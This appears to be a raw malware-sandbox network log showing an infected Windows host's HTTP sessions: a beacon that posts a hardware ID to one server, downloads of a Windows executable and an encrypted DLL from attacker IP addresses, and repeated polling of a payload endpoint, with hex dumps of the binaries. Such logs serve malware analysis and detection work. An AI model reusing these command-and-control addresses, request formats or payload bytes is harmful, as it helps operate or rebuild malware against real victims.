Dec 9, 2024 20:28:36.507410049 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCAAKFBAEGDGCBGCGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 41 43 33 34 33 33 34 31 45 30 31 36 37 31 32 32 37 33 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 41 41 4b 46 42 41 45 47 44 47 43 42 47 43 47 48 2d 2d 0d 0a Data Ascii: ------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="hwid"49AC343341E01671227304------IEGCAAKFBAEGDGCBGCGHContent-Disposition: form-data; name="build"stok------IEGCAAKFBAEGDGCBGCGH--
Dec 9, 2024 20:28:36.951845884 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49858	185.215.113.16	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:35.470020056 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 20:28:36.659343958 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:36 GMT Content-Type: application/octet-stream Content-Length: 973312 Last-Modified: Mon, 09 Dec 2024 19:00:32 GMT Connection: keep-alive ETag: "67573e50-eda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 48 3e 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 2a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@n~{{{z{RichPELH>Wg"w@0)@@@d\|@ou4@.text `.rdata@@.datalpH@.rsrco@p@@.relocuvd@B
Dec 9, 2024 20:28:36.659373999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 9, 2024 20:28:36.659387112 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 9, 2024 20:28:36.659545898 CET	672	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 9, 2024 20:28:36.659581900 CET	1236	IN	Data Raw: 27 ff d6 53 6a 11 88 47 28 ff d6 53 6a 12 88 47 24 ff d6 88 47 25 5f 5e 5b c3 55 8b ec 51 57 33 ff 8d 45 fc 57 50 57 68 00 20 00 00 89 7d fc ff 15 f0 c5 49 00 8b 45 fc 6a 02 57 57 68 01 20 00 00 a3 94 25 4d 00 ff 15 f0 c5 49 00 5f c9 c3 55 8b ec Data Ascii: 'SjG(SjG$G%_^[UQW3EWPWh }IEjWWh %MI_U=Mt_E%\M%PMXMtIhFM2j3YYuj5%Mjh I\M]3@Usy!xwJxnEP
Dec 9, 2024 20:28:36.659594059 CET	1236	IN	Data Raw: 33 c9 83 fe 2b 0f 94 c1 8b 44 88 08 66 83 78 08 47 75 42 8d 41 03 89 45 f8 8d 45 fc 53 50 8d 45 e8 50 8d 45 f8 50 57 e8 1b 44 00 00 85 c0 0f 88 a2 06 04 00 8d 4d e8 e8 6e 77 00 00 8b 55 fc e9 25 ff ff ff b9 6c 15 4d 00 e8 63 08 00 00 33 c0 5f 5e Data Ascii: 3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMMW}3E7Nuu3RB3t&u"@f9putBuu6UMEPdEM@M_^[I
Dec 9, 2024 20:28:36.659615040 CET	1236	IN	Data Raw: 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 f9 01 00 00 8d 4d a8 e8 f1 01 00 00 8d 8d 54 ff ff ff e8 e6 01 00 00 8d 4d 9c e8 de 01 00 00 5f 8b c6 5e 5b c9 c3 83 e8 04 0f 84 ca 03 04 00 83 e8 01 0f 84 Data Ascii: xl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE%}U]
Dec 9, 2024 20:28:36.659629107 CET	1236	IN	Data Raw: 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 68 18 14 4d 00 8b ce e8 2c 03 00 00 84 c0 0f 84 b1 00 04 00 a0 90 23 4d 00 a2 04 14 4d 00 a0 91 23 4d 00 88 44 24 12 8d 44 24 14 50 8d 84 24 3c 00 01 00 50 Data Ascii: 3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]
Dec 9, 2024 20:28:36.660051107 CET	1236	IN	Data Raw: 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 a5 1a 02 00 59 59 85 c0 0f 84 99 fd 03 00 57 68 dc c9 49 00 e8 90 1a 02 00 59 59 85 c0 75 3e 89 1d 00 14 4d 00 38 5d 0b 75 0a c7 05 00 14 4d 00 03 00 00 00 Data Ascii: Wh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MK
Dec 9, 2024 20:28:36.660063982 CET	1236	IN	Data Raw: 04 83 c4 0c 8b 06 33 d2 8b 4e 04 5f 66 89 14 48 8b c6 5e 5b 5d c2 08 00 55 8b ec 83 e4 f8 b8 3c 00 01 00 e8 f3 ea 03 00 8b 45 08 8d 4c 24 1c 53 33 db a3 94 23 4d 00 56 b8 34 cc 49 00 66 89 1d 90 23 4d 00 57 88 1d 92 23 4d 00 89 1d 98 23 4d 00 89 Data Ascii: 3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(>T$(0h
Dec 9, 2024 20:28:36.779202938 CET	1236	IN	Data Raw: 15 d0 c4 49 00 c6 05 68 13 4d 00 01 8b ce e8 07 00 00 00 5f 5e 5b 8b e5 5d c3 55 8b ec 83 e4 f8 81 ec cc 04 00 00 80 3d 68 13 4d 00 00 56 8b f1 0f 84 d4 00 00 00 68 04 01 00 00 8d 4c 24 0c e8 23 29 00 00 80 3d 67 13 4d 00 01 0f 84 39 fa 03 00 33 Data Ascii: IhM_^[]U=hMVhL$#)=gM93fD$D$PL$1=eMM~`'hML$)$(VjPML$$T$$3F$$ h$(2YD$P$4PYY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49871	80.82.65.70	80	6964	C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:40.295389891 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:41.574970007 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:41 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:28:41.584064960 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:42.060781002 CET	224	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:41 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 9, 2024 20:28:42.066988945 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:42.632132053 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:42 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 9, 2024 20:28:42.632204056 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 9, 2024 20:28:42.632216930 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 9, 2024 20:28:42.632411003 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 9, 2024 20:28:42.632425070 CET	896	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 9, 2024 20:28:42.632436037 CET	1236	IN	Data Raw: e6 69 2d 49 51 f3 a4 d5 76 b0 82 cf 74 d1 85 19 f7 42 a9 78 eb 0b e9 01 32 e4 1d 91 61 e4 92 ad 68 8b f1 01 d1 83 62 ef 0e ea 87 d8 a0 66 e2 ec 6d df dc 97 39 57 94 e3 66 5a 2b 20 d1 43 cd 8a 07 04 20 9b 76 db 4c a6 9b 12 b9 0c 46 0b 2e ee 08 fc Data Ascii: i-IQvtBx2ahbfm9WfZ+ C vLF.CXb<SK(R?X.!:YjJD^J[,x)<"kp /uTW56"An*M%b"P{$T#/6UC{XQ;,>=
Dec 9, 2024 20:28:42.632666111 CET	1236	IN	Data Raw: df fc 63 59 94 94 22 2e 6e b1 dd f8 1b 24 0c 47 af 41 b3 94 25 ae 63 05 68 cb 3a 78 6c 3a e6 0d fb 89 7f 8a 63 45 33 22 3e 37 2f cf bc bf dc 07 94 6d 6c 26 9b 2d c4 5a 8b a4 95 2b 63 98 62 c1 cf a5 66 8f c2 9e 15 af 99 71 41 93 5a 45 26 fd cf ad Data Ascii: cY".n$GA%ch:xl:cE3">7/ml&-Z+cbfqAZE&j;{1:w\1`gub%gi&!3h+bn,awiHeKQZXrU)DT"->KTgx;1xY6#'BsZy
Dec 9, 2024 20:28:42.632678986 CET	1236	IN	Data Raw: ab 83 12 71 60 ef ac 34 32 d8 70 30 3b 55 9a 12 0e 9f 26 6c be 1f b1 56 29 68 86 1f 1c a5 97 2c 74 ca 37 9a 6a 55 f9 be e3 48 f7 00 72 6f 42 12 41 ec 23 16 2d cd d2 bf 20 52 76 63 2b 78 75 0d b1 13 ba b8 e6 b9 b1 8c 54 24 79 51 3b b2 29 1b ba 44 Data Ascii: q`42p0;U&lV)h,t7jUHroBA#- Rvc+xuT$yQ;)D<1:XRE^7ipg/]BYZe'0ZiU4Nk+@V,E#LQ$iT{}@zFA8F /7B@57ARN"lU^-
Dec 9, 2024 20:28:42.632689953 CET	1236	IN	Data Raw: 2b ed b6 90 93 b5 cb e9 5b 81 d3 0a ac cd 19 0a b7 db 61 4d 90 7d 85 3c 51 38 f9 08 b0 8a 2c 52 5c 3b a3 28 21 b4 b3 8b 95 1d cf 79 a5 e6 17 de 83 a8 dd 37 7c d0 40 73 1a 93 09 91 ed df 13 89 28 1d 8a d0 67 8b 19 59 81 4b 0b 18 94 db ad 26 01 9f Data Ascii: +[aM}<Q8,R\;(!y7\|@s(gYK&&nB<H3Qh-`uK^TG{cKiF{R_y\|w.y0Pc-:gZdSw^P;$)SL'3{y
Dec 9, 2024 20:28:42.640887022 CET	1236	IN	Data Raw: 54 e5 fd b2 c6 83 f0 18 cc 3c bb a5 89 7b 89 54 98 d8 15 a6 fa 49 a4 67 d0 03 82 eb c7 42 29 b9 76 f8 01 5c 2b 20 0a 5c 1d 33 83 13 83 42 79 3d 7e c9 17 b3 a3 51 aa c8 b6 32 7d 48 b8 ad f1 c2 7d 0a 69 9d c2 d2 7a 9b 73 02 47 89 ff 76 3e 73 48 a6 Data Ascii: T<{TIgB)v\+ \3By=~Q2}H}izsGv>sH4w3*gWM\|E j;zq{1"7:ZSe%%_d6YLVl]Rk&06B>lJk(:OB+8aQ$Mnwka{
Dec 9, 2024 20:28:42.640957117 CET	1236	IN	Data Raw: 5c d2 2a c3 33 ff 78 3e 6f b5 ff a6 6c 71 6d 25 ef c6 14 af 9c 6f 38 91 81 96 1f ad 1d af 35 bc c0 00 0c 9f 24 93 c9 3c e6 d2 fa 28 eb 2b 80 23 82 81 de 2e ac 96 52 f9 19 0f 6b e2 00 36 46 1d c0 9d 55 0b 0f 62 85 f0 77 cb de 0e 5b 62 17 62 91 0d Data Ascii: \3x>olqm%o85$<(+#.Rk6FUbw[bbK[FV%#33<ilf.JiN<T=vroh'ekzw,`3MG]snz1;DBKG4h2)N%5^6x8dW61~
Dec 9, 2024 20:28:43.138272047 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:43.624605894 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:43 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:28:45.888755083 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:46.370851994 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:46 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:28:48.589513063 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:49.084436893 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:48 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:28:51.396776915 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:51.925760984 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:51 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:28:53.996262074 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:54.482053041 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:54 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:28:56.697422028 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:57.222723961 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:56 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:28:59.267844915 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:59.757600069 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:59 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:29:01.860119104 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:29:02.345460892 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:02 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 20:29:04.548993111 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:29:05.285837889 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:04 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
